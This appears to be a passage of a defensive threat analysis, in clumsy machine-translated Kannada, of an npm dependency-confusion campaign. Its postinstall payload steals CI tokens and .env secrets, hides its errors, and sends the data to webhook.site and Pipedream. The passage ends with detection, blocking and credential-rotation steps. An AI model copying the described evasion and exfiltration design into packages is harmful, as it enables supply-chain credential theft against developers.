ಅವಲಂಬನೆಯ ಗೊಂದಲ ಇದು ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಉಳಿದಿದೆ ಏಕೆಂದರೆ ಅದು ಪರಿಹಾರಕ ನಡವಳಿಕೆಯನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತದೆ, a ಅಲ್ಲ ಯಾವುದೇ ಪ್ಯಾಕೇಜ್ನಲ್ಲಿ ದುರ್ಬಲತೆ. ಇಲ್ಲಿ ವಾಹಕವು ಕ್ಷುಲ್ಲಕವಾಗಿದೆ - ಹನ್ನೊಂದು ಬಹುತೇಕ ಖಾಲಿಯಾಗಿದೆ ಪ್ಯಾಕೇಜ್ಗಳು — ಆದರೆ ಬ್ಲಾಸ್ಟ್ ತ್ರಿಜ್ಯವು ಏನೇ ಇರಲಿ pipeline ತಪ್ಪಾಗಿ ಸಾರ್ವಜನಿಕ npm ಗೆ ಆದ್ಯತೆ ನೀಡಿದ್ದೀರಿ. ಆಂತರಿಕ ಹೆಸರಿಗಾಗಿ. CI ರನ್ನರ್ಗಳು ಅದು ಸಂಭವಿಸಲು ಕೆಟ್ಟ ಸ್ಥಳವಾಗಿದೆ: ಅವರು ಹಿಡಿದಿಟ್ಟುಕೊಳ್ಳುತ್ತಾರೆ ನಿಖರವಾಗಿ ಟೋಕನ್ಗಳು ಮತ್ತು .env ಈ ಪೇಲೋಡ್ ಓದುವ ಫೈಲ್ಗಳು ಮತ್ತು ಅವು ಸ್ಥಾಪಿಸುತ್ತವೆ ಅವಲಂಬನೆಗಳು ಪರಸ್ಪರ ಕ್ರಿಯೆಯಿಲ್ಲದ ಕಾರಣ, ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್ ಯಾರೂ ನೋಡದೆ ಓಡುತ್ತದೆ.
ಈ ಕ್ಲಸ್ಟರ್ ನಾವು ನೋಡುತ್ತಲೇ ಇರುವ ಒಂದು ಮಾದರಿಗೆ ಸಹ ಹೊಂದಿಕೊಳ್ಳುತ್ತದೆ: ಅನುಸ್ಥಾಪನಾ-ಸಮಯದ ಪೇಲೋಡ್ಗಳು ಪ್ರಸ್ತುತಪಡಿಸುತ್ತವೆ ನಿಜವಾದ ದೃಢೀಕರಣ ಸಂಗ್ರಹವನ್ನು ಮಾಡುವಾಗ "ಸಂಶೋಧನೆ" ಅಥವಾ "ವಿಚಕ್ಷಣ" ಎಂದು. ಲೇಬಲ್ ಫೈಲ್ನಲ್ಲಿ ಕೋಡ್ ರನ್ನರ್ನಲ್ಲಿ ಏನು ಮಾಡುತ್ತದೆ ಎಂಬುದನ್ನು ಬದಲಾಯಿಸುವುದಿಲ್ಲ. ಎರಡು ವಿನ್ಯಾಸ ಆಯ್ಕೆಗಳು ಹಾಗೆಯೇ ಇರುತ್ತವೆ. ಚಟುವಟಿಕೆ ಶಾಂತ: ಪ್ರತಿಯೊಂದು ನೆಟ್ವರ್ಕ್ ಮತ್ತು ಫೈಲ್ಸಿಸ್ಟಮ್ ಕಾರ್ಯಾಚರಣೆಯು ಒಂದು ದೋಷಗಳನ್ನು ತ್ಯಜಿಸುವ ಎಕ್ಸೆಪ್ಶನ್ ಹ್ಯಾಂಡ್ಲರ್, ಆದ್ದರಿಂದ ನಿರ್ಬಂಧಿಸಲಾದ ಕಳುಹಿಸುವಿಕೆ ಅಥವಾ ಕಾಣೆಯಾದ ಫೈಲ್ ಯಾವುದೇ ರೋಗನಿರ್ಣಯದ ಔಟ್ಪುಟ್ ಅನ್ನು ಉತ್ಪಾದಿಸುವುದಿಲ್ಲ, ಮತ್ತು ಮುದ್ರಿತವಾದ ಏಕೈಕ ವಿಷಯವೆಂದರೆ ಒಂದೇ ಒಂದು ನಿರುಪದ್ರವ [recon] … ಸ್ಥಾಪಿಸಲಾಗಿದೆ ಸಾಮಾನ್ಯ ಅನುಸ್ಥಾಪನಾ ವಟಗುಟ್ಟುವಿಕೆಗೆ ಬೆರೆಯುವ ಸಾಲು. ಬಳಕೆ ವೆಬ್ಹುಕ್.ಸೈಟ್ ಮತ್ತು ಪೈಪ್ಡ್ರೀಮ್ ಕೂಡ ಉದ್ದೇಶಪೂರ್ವಕ ಅನುಕೂಲವಾಗಿದೆ - ಎರಡೂ ಉಚಿತ, ವಿನಂತಿ-ಕ್ಯಾಪ್ಚರ್ ಸೇವೆಗಳನ್ನು ತಕ್ಷಣವೇ ಒದಗಿಸಲಾಗುತ್ತದೆ, ಆದ್ದರಿಂದ ಆಪರೇಟರ್ಗೆ ಯಾವುದೇ ಸರ್ವರ್ಗಳ ಅಗತ್ಯವಿಲ್ಲ ಅವುಗಳ ಸ್ವಂತ ಮತ್ತು ಗಮ್ಯಸ್ಥಾನಗಳು ನಿರ್ಗಮನ ಲಾಗ್ಗಳಲ್ಲಿ ಸಾಮಾನ್ಯ SaaS ಹೋಸ್ಟ್ಹೆಸರುಗಳಂತೆ ಕಾಣುತ್ತವೆ.
ಇದನ್ನು ರಕ್ಷಕನ ಗಮನಕ್ಕೆ ಅರ್ಹವಾಗಿಸುವುದು ಅರ್ಥಶಾಸ್ತ್ರವೇ ಆಗಿದ್ದರೂ ಸಹ ವಾಹಕ ಕೋಡ್ ಕ್ಷುಲ್ಲಕವಾಗಿದೆ. ಹನ್ನೊಂದು ಹೆಸರುಗಳನ್ನು ನೋಂದಾಯಿಸುವುದರಿಂದ ಯಾವುದೇ ವೆಚ್ಚವಾಗುವುದಿಲ್ಲ, ಪೇಲೋಡ್ ಒಂದು ಫೈಲ್ ಅನ್ನು ಹನ್ನೊಂದು ಬಾರಿ ನಕಲಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಪ್ಯಾಕೇಜ್ ಮ್ಯಾನೇಜರ್ ಎಲ್ಲಾ ಕಾರ್ಯಗತಗೊಳಿಸುವಿಕೆಯನ್ನು ಮಾಡುತ್ತದೆ. ಒಂದು ತಪ್ಪಾಗಿ ಕಾನ್ಫಿಗರ್ ಮಾಡಲಾಗಿದೆ pipeline ಈ ಹೆಸರುಗಳಲ್ಲಿ ಒಂದನ್ನು ಸೇವಿಸುವ ಯಾವುದೇ ಸ್ಥಳವು ಸಂಪೂರ್ಣ ವೆಚ್ಚವನ್ನು ಪಾವತಿಸುತ್ತದೆ ಕಾರ್ಯಾಚರಣೆ.
ರಕ್ಷಕರಿಗೆ ಕಾಂಕ್ರೀಟ್ ಹಂತಗಳು:
- ನಿಮ್ಮ ಖಾಸಗಿ ನೋಂದಾವಣೆಗೆ ಆಂತರಿಕ ಸ್ಕೋಪ್ಗಳನ್ನು ಪಿನ್ ಮಾಡಿ. npm ಅನ್ನು ಆಂತರಿಕ ಹೆಸರುಗಳಾಗಿ ಕಾನ್ಫಿಗರ್ ಮಾಡಿ
ಮತ್ತು ಸ್ಕೋಪ್ಗಳು ನಿಮ್ಮ ರಿಜಿಸ್ಟ್ರಿಯ ವಿರುದ್ಧ ಮಾತ್ರ ಪರಿಹರಿಸುತ್ತವೆ (ಸ್ಕೋಪ್ಡ್ .npmrc ರಿಜಿಸ್ಟ್ರಿ ಮ್ಯಾಪಿಂಗ್ಗಳು, ಅಥವಾ ಒಡೆತನದ ನೇಮ್ಸ್ಪೇಸ್ಗಳಿಗಾಗಿ ಸಾರ್ವಜನಿಕ npm ಗೆ ಎಂದಿಗೂ ಬರದ ಪ್ರಾಕ್ಸಿ). ನಿಮ್ಮ ಸಾರ್ವಜನಿಕ ವ್ಯಾಪ್ತಿಯ ಹೆಸರುಗಳನ್ನು ಕಾಯ್ದಿರಿಸಿ ಇದರಿಂದ ಬೇರೆ ಯಾರೂ ಅವುಗಳನ್ನು ನೋಂದಾಯಿಸಲು ಸಾಧ್ಯವಿಲ್ಲ.
- Commit ಲಾಕ್ಫೈಲ್ಗಳು ಮತ್ತು –ignore-scripts ನೊಂದಿಗೆ ಸ್ಥಾಪಿಸಿ CI ನಲ್ಲಿ ಸಾಧ್ಯವಾದಲ್ಲೆಲ್ಲಾ, ಅಥವಾ ನಿಜವಾಗಿಯೂ ಇನ್ಸ್ಟಾಲ್ ಸ್ಕ್ರಿಪ್ಟ್ಗಳ ಅಗತ್ಯವಿರುವ ಸಣ್ಣ ಅವಲಂಬನೆಗಳ ಗುಂಪನ್ನು ಪರಿಶೀಲಿಸಿ. recon.js ರನ್ ಆಗಲು ಸಾಧ್ಯವಾಗದಿದ್ದರೆ ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್ ಕಾರ್ಯಗತಗೊಳಿಸಲಾಗಿಲ್ಲ.
- ಆಂತರಿಕವಾಗಿ ಕಾಣುವ ಹೆಸರಿನ 99.99.99 (ಅಥವಾ ಇತರ ಅಸಂಬದ್ಧವಾಗಿ ಹೆಚ್ಚು) ಆವೃತ್ತಿಯನ್ನು ಪರಿಗಣಿಸಿ. ಕೆಂಪು ಧ್ವಜದಂತೆ ಅವಲಂಬನೆ ಪರಿಶೀಲನೆ ಮತ್ತು ನೋಂದಾವಣೆ ಮೇಲ್ವಿಚಾರಣೆಯಲ್ಲಿ.
- ಅನುಸ್ಥಾಪನಾ ಸಮಯದ ನಿರ್ಗಮನದ ಬಗ್ಗೆ ಎಚ್ಚರಿಕೆ. A ಪೋಸ್ಟ್ಇನ್ಸ್ಟಾಲ್ ಅದು ಹೊರಹೋಗುವ HTTPS ಅನ್ನು ತೆರೆಯುತ್ತದೆ ಸಂಪರ್ಕ - ವಿಶೇಷವಾಗಿ ಪ್ರಮಾಣಪತ್ರ ಪರಿಶೀಲನೆ ನಿಷ್ಕ್ರಿಯಗೊಳಿಸಲಾದಾಗ - ಗೆ webhook.site, Pipedream, ಅಥವಾ ಅಂತಹುದೇ ವಿನಂತಿ-ಕ್ಯಾಪ್ಚರ್ ಸೇವೆಗಳನ್ನು ನೆಟ್ವರ್ಕ್ ಅಂಚಿನಲ್ಲಿ ನಿರ್ಬಂಧಿಸುವುದು ಮತ್ತು ಬಿಲ್ಡ್ ಲಾಗ್ಗಳಲ್ಲಿ ಫ್ಲ್ಯಾಗ್ ಮಾಡುವುದು ಯೋಗ್ಯವಾಗಿದೆ.
- ಕಲಾಕೃತಿಗಳಿಗಾಗಿ ಬೇಟೆಯಾಡಿ. ಓಟಗಾರರನ್ನು ಪರಿಶೀಲಿಸಿ /tmp/.npm_recon_*.json ಮತ್ತು ಫಾರ್ [recon] … ಇತ್ತೀಚಿನ CI ಲಾಗ್ಗಳಲ್ಲಿ … ಮಾರ್ಕರ್ನಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗಿದೆ. ಕಂಡುಬಂದಲ್ಲಿ, ಪ್ರತಿಯೊಂದನ್ನು ತಿರುಗಿಸಿ ಅದಕ್ಕೆ ಬಹಿರಂಗವಾದ ದೃಢೀಕರಣ pipeline — CI ಟೋಕನ್ಗಳು, ಕ್ಲೌಡ್ ಕೀಗಳು, ರಿಜಿಸ್ಟ್ರಿ ಟೋಕನ್ಗಳು ಮತ್ತು ಪರಿಸರ ಅಥವಾ .env ಫೈಲ್ಗಳಲ್ಲಿ ಇರುವ ಯಾವುದೇ ವ್ಯಾಲೆಟ್ ಸೀಡ್ಗಳು ಅಥವಾ ಖಾಸಗಿ ಕೀಗಳು.
ಉಲ್ಲೇಖಗಳು
ಬರೆಯುವ ಸಮಯದಲ್ಲಿ ಈ ಕ್ಲಸ್ಟರ್ ಬಗ್ಗೆ ಯಾವುದೇ ಬಾಹ್ಯ ವರದಿ ಇರಲಿಲ್ಲ; ವಿಶ್ಲೇಷಣೆ ಮೇಲಿನವು ಪ್ರಕಟಿತ ಪ್ಯಾಕೇಜ್ ವಿಷಯಗಳನ್ನು ನೇರವಾಗಿ ಆಧರಿಸಿದೆ.




